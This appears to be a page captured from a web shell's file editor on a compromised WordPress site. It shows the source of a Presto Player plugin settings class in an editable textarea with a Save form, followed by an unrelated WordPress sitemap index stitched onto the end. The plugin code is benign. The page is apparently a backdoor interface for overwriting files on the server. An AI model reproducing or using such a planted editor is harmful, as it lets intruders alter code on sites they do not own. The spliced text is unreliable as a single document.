
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: Setting.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace PrestoPlayer\Models;

class Setting {

	const PREFIX = &#039;presto_player&#039;;

	public static function getGroupName( $group ) {
		return self::PREFIX . &quot;_{$group}&quot;;
	}

	/**
	 * Get the option group
	 *
	 * @param string $group
	 * @return mixed
	 */
	public static function getGroup( $group ) {
		return \get_option( self::getGroupName( $group ) );
	}

	/**
	 * Get an individual option from the group
	 *
	 * @param string $group Group name.
	 * @param string $name Field name.
	 * @param string $default Default value if nothing is found.
	 *
	 * @return mixed
	 */
	public static function get( $group, $name = &#039;&#039;, $default = null ) {
		$option = self::getGroup( $group );

		if ( ! $name ) {
			return $option;
		}
		return isset( $option[ $name ] ) ? $option[ $name ] : $default;
	}

	/**
	 * Set an individual option
	 *
	 * @param string $group Group name
	 * @param string $name Field name
	 * @param mixed  $value Field value
	 *
	 * @return boolean Whether the option updated
	 */
	public static function set( $group, $name, $value ) {
		// get stored group
		$stored          = (array) self::getGroup( $group );
		$stored          = array_filter(
			$stored,
			function ( $key ) {
				return is_string( $key );
			},
			ARRAY_FILTER_USE_KEY
		);
		$stored[ $name ] = $value;
		return \update_option( self::getGroupName( $group ), $stored );
	}

	public static function update( $group, $name, $value ) {
		// get stored group
		$stored          = (array) self::getGroup( $group );
		$stored          = array_filter(
			$stored,
			function ( $key ) {
				return is_string( $key );
			},
			ARRAY_FILTER_USE_KEY
		);
		$stored[ $name ] = $value;
		return \update_option( self::getGroupName( $group ), $stored );
	}

	/**
	 * Delete an option
	 *
	 * @param string $group
	 * @param string $name
	 * @return boolean
	 */
	public static function delete( $group, $name ) {
		$stored = (array) self::getGroup( $group );
		unset( $stored[ $name ] );
		return \update_option( self::getGroupName( $group ), $stored );
	}

	public static function deleteAll( $group ) {
		delete_option( self::getGroupName( $group ) );
	}

	public static function getDefaultColor() {
		return apply_filters( &#039;presto_player_default_color&#039;, &#039;#00b3ff&#039; );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
